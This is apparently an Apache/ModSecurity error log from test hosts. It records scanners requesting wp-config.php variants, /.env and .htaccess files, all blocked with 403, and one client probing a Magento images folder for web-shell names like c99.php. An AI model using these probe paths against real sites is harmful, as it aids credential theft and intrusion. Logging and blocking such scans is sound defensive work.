[Tue Jan 27 07:52:13.897699 2026] [:error] [pid 1685026] [client 149.50.215.202:50517] [client 149.50.215.202] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnVuVonfvtDzC1tzCGwAAABA"]
[Tue Jan 27 07:52:13.898852 2026] [:error] [pid 1685026] [client 149.50.215.202:50517] [client 149.50.215.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnVuVonfvtDzC1tzCGwAAABA"]
[Tue Jan 27 07:52:13.899053 2026] [:error] [pid 1685026] [client 149.50.215.202:50517] [client 149.50.215.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnVuVonfvtDzC1tzCGwAAABA"]
[Tue Jan 27 07:52:14.001696 2026] [:error] [pid 1685091] [client 217.170.194.172:52609] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnTpDlK0DYJskmSF1wAAAAAA"]
[Tue Jan 27 07:52:14.001956 2026] [:error] [pid 1685091] [client 217.170.194.172:52609] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnTpDlK0DYJskmSF1wAAAAAA"]
[Tue Jan 27 07:52:14.002125 2026] [:error] [pid 1685091] [client 217.170.194.172:52609] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgnTpDlK0DYJskmSF1wAAAAAA"]
[Tue Jan 27 07:52:45.131063 2026] [:error] [pid 1685070] [client 217.170.194.172:36965] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgveuc3r9bSVXogmXKcwAAAAw"]
[Tue Jan 27 07:52:45.131333 2026] [:error] [pid 1685070] [client 217.170.194.172:36965] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgveuc3r9bSVXogmXKcwAAAAw"]
[Tue Jan 27 07:52:45.131537 2026] [:error] [pid 1685070] [client 217.170.194.172:36965] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aXhgveuc3r9bSVXogmXKcwAAAAw"]
[Tue Jan 27 07:52:45.258547 2026] [:error] [pid 1685081] [client 185.243.218.233:41124] [client 185.243.218.233] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgvZNwhhogseNFUwIZWgAAAAE"]
[Tue Jan 27 07:52:45.258806 2026] [:error] [pid 1685081] [client 185.243.218.233:41124] [client 185.243.218.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgvZNwhhogseNFUwIZWgAAAAE"]
[Tue Jan 27 07:52:45.258996 2026] [:error] [pid 1685081] [client 185.243.218.233:41124] [client 185.243.218.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhgvZNwhhogseNFUwIZWgAAAAE"]
[Tue Jan 27 07:52:45.861245 2026] [:error] [pid 1685083] [client 23.80.89.35:36475] [client 23.80.89.35] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgvQaHvWJdbyJFaNH2BgAAAAc"]
[Tue Jan 27 07:52:45.861497 2026] [:error] [pid 1685083] [client 23.80.89.35:36475] [client 23.80.89.35] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgvQaHvWJdbyJFaNH2BgAAAAc"]
[Tue Jan 27 07:52:45.861671 2026] [:error] [pid 1685083] [client 23.80.89.35:36475] [client 23.80.89.35] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aXhgvQaHvWJdbyJFaNH2BgAAAAc"]
[Wed Jan 28 02:10:54.200864 2026] [:error] [pid 1701190] [client 195.250.31.127:3527] [client 195.250.31.127] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXliHug9am7LNg6f7GJHvAAAAAU"]
[Wed Jan 28 02:10:54.201065 2026] [:error] [pid 1701190] [client 195.250.31.127:3527] [client 195.250.31.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXliHug9am7LNg6f7GJHvAAAAAU"]
[Wed Jan 28 02:10:54.201230 2026] [:error] [pid 1701190] [client 195.250.31.127:3527] [client 195.250.31.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXliHug9am7LNg6f7GJHvAAAAAU"]
[Wed Jan 28 06:10:10.897612 2026] [:error] [pid 1704964] [client 140.245.98.213:65341] [client 140.245.98.213] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXmaMiLR9YVnJYZWCA8F0gAAAAI"]
[Wed Jan 28 06:10:10.897873 2026] [:error] [pid 1704964] [client 140.245.98.213:65341] [client 140.245.98.213] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXmaMiLR9YVnJYZWCA8F0gAAAAI"]
[Wed Jan 28 06:10:10.898055 2026] [:error] [pid 1704964] [client 140.245.98.213:65341] [client 140.245.98.213] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXmaMiLR9YVnJYZWCA8F0gAAAAI"]
[Sun Feb 01 17:55:25.151397 2026] [:error] [pid 1802384] [client 204.76.203.25:34272] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aX-FfTSzMCvOYeoQA3nc-QAAAAk"]
[Sun Feb 01 17:55:25.152748 2026] [:error] [pid 1802384] [client 204.76.203.25:34272] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aX-FfTSzMCvOYeoQA3nc-QAAAAk"]
[Sun Feb 01 17:55:25.153321 2026] [:error] [pid 1802384] [client 204.76.203.25:34272] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aX-FfTSzMCvOYeoQA3nc-QAAAAk"]
[Fri Feb 06 19:27:30.031701 2026] [php:error] [pid 1899388] [client 4.194.107.19:31395] script '/var/www/magento.test.indacotrentino.com/www/pub/images/c99.php' not found or unable to stat
[Mon Feb 09 16:16:59.352755 2026] [:error] [pid 1964082] [client 185.193.89.26:37322] [client 185.193.89.26] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aYn6ayPy0fowfEUaBi-qfAAAAAU"]
[Mon Feb 09 16:16:59.353947 2026] [:error] [pid 1964082] [client 185.193.89.26:37322] [client 185.193.89.26] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aYn6ayPy0fowfEUaBi-qfAAAAAU"]
[Mon Feb 09 16:16:59.354139 2026] [:error] [pid 1964082] [client 185.193.89.26:37322] [client 185.193.89.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aYn6ayPy0fowfEUaBi-qfAAAAAU"]
[Wed Feb 11 18:32:09.403942 2026] [php:error] [pid 2023187] [client 118.179.5.21:52172] script '/var/www/magento.test.indacotrentino.com/www/pub/images/404.php' not found or unable to stat
[Wed Feb 11 18:32:12.004550 2026] [php:error] [pid 2023191] [client 118.179.5.21:52416] script '/var/www/magento.test.indacotrentino.com/www/pub/images/404.php' not found or unable to stat
[Wed Feb 11 18:32:15.195098 2026] [php:error] [pid 2023190] [client 118.179.5.21:52391] script '/var/www/magento.test.indacotrentino.com/www/pub/images/cjfuns.php' not found or unable to stat
[Wed Feb 11 18:32:17.101525 2026] [php:error] [pid 2017445] [client 118.179.5.21:51806] script '/var/www/magento.test.indacotrentino.com/www/pub/images/cjfuns.php' not found or unable to stat
[Wed Feb 11 18:32:54.496219 2026] [php:error] [pid 2023205] [client 118.179.5.21:56596] script '/var/www/magento.test.indacotrentino.com/www/pub/images/autoload_classmap.php' not found or unable to stat
[Wed Feb 11 18:32:56.569945 2026] [php:error] [pid 2023219] [client 118.179.5.21:54563] script '/var/www/magento.test.indacotrentino.com/www/pub/images/autoload_classmap.php' not found or unable to stat
[Wed Feb 11 18:32:59.601204 2026] [php:error] [pid 2009513] [client 118.179.5.21:56870] script '/var/www/magento.test.indacotrentino.com/www/pub/images/about.php' not found or unable to stat
[Wed Feb 11 18:33:04.228807 2026] [php:error] [pid 2023184] [client 118.179.5.21:58839] script '/var/www/magento.test.indacotrentino.com/www/pub/images/about.php' not found or unable to stat
[Wed Feb 11 18:33:10.099161 2026] [php:error] [pid 2023204] [client 118.179.5.21:64901] script '/var/www/magento.test.indacotrentino.com/www/pub/images/admin.php' not found or unable to stat
[Wed Feb 11 18:33:10.885717 2026] [php:error] [pid 2017458] [client 118.179.5.21:59533] script '/var/www/magento.test.indacotrentino.com/www/pub/images/admin.php' not found or unable to stat
[Wed Feb 11 18:33:13.224601 2026] [php:error] [pid 2023219] [client 118.179.5.21:54563] script '/var/www/magento.test.indacotrentino.com/www/pub/images/lmfi2.php' not found or unable to stat
[Wed Feb 11 18:33:13.311154 2026] [php:error] [pid 2009514] [client 118.179.5.21:57261] script '/var/www/magento.test.indacotrentino.com/www/pub/images/chosen.php' not found or unable to stat
[Wed Feb 11 18:33:13.817525 2026] [php:error] [pid 2017458] [client 118.179.5.21:59533] script '/var/www/magento.test.indacotrentino.com/www/pub/images/lmfi2.php' not found or unable to stat
[Wed Feb 11 18:33:15.084050 2026] [php:error] [pid 2023188] [client 118.179.5.21:57094] script '/var/www/magento.test.indacotrentino.com/www/pub/images/chosen.php' not found or unable to stat
[Wed Feb 11 19:21:13.551928 2026] [:error] [pid 2014008] [client 194.32.107.14:44002] [client 194.32.107.14] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /r4zevhj0fhdqwmque.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/r4ZevhJ0FhdqwmQue.htaccess"] [unique_id "aYzImTyvuRXJW984SwQzvAAAAAc"]
[Wed Feb 11 19:21:13.552249 2026] [:error] [pid 2014008] [client 194.32.107.14:44002] [client 194.32.107.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/r4ZevhJ0FhdqwmQue.htaccess"] [unique_id "aYzImTyvuRXJW984SwQzvAAAAAc"]
[Wed Feb 11 19:21:13.552403 2026] [:error] [pid 2014008] [client 194.32.107.14:44002] [client 194.32.107.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/r4ZevhJ0FhdqwmQue.htaccess"] [unique_id "aYzImTyvuRXJW984SwQzvAAAAAc"]
[Wed Feb 11 19:21:14.219421 2026] [:error] [pid 2023204] [client 194.32.107.14:44012] [client 194.32.107.14] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /oxnrem7idf1ghoy7zd.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/oxnrem7IDf1ghOy7zd.htaccess"] [unique_id "aYzImuuT54I_Yv-KUUHhhwAAAB8"]
[Wed Feb 11 19:21:14.219742 2026] [:error] [pid 2023204] [client 194.32.107.14:44012] [client 194.32.107.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/oxnrem7IDf1ghOy7zd.htaccess"] [unique_id "aYzImuuT54I_Yv-KUUHhhwAAAB8"]
[Wed Feb 11 19:21:14.219900 2026] [:error] [pid 2023204] [client 194.32.107.14:44012] [client 194.32.107.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/oxnrem7IDf1ghOy7zd.htaccess"] [unique_id "aYzImuuT54I_Yv-KUUHhhwAAAB8"]
[Wed Feb 11 19:21:17.535642 2026] [:error] [pid 2023213] [client 194.32.107.14:44028] [client 194.32.107.14] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /_03bypmmrh7w3cbuc3e.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_03ByPMMRh7W3cBuc3e.htaccess"] [unique_id "aYzInZs5XEWaSWijDe2NGQAAACg"]
[Wed Feb 11 19:21:17.536806 2026] [:error] [pid 2023213] [client 194.32.107.14:44028] [client 194.32.107.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_03ByPMMRh7W3cBuc3e.htaccess"] [unique_id "aYzInZs5XEWaSWijDe2NGQAAACg"]
[Wed Feb 11 19:21:17.536973 2026] [:error] [pid 2023213] [client 194.32.107.14:44028] [client 194.32.107.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_03ByPMMRh7W3cBuc3e.htaccess"] [unique_id "aYzInZs5XEWaSWijDe2NGQAAACg"]
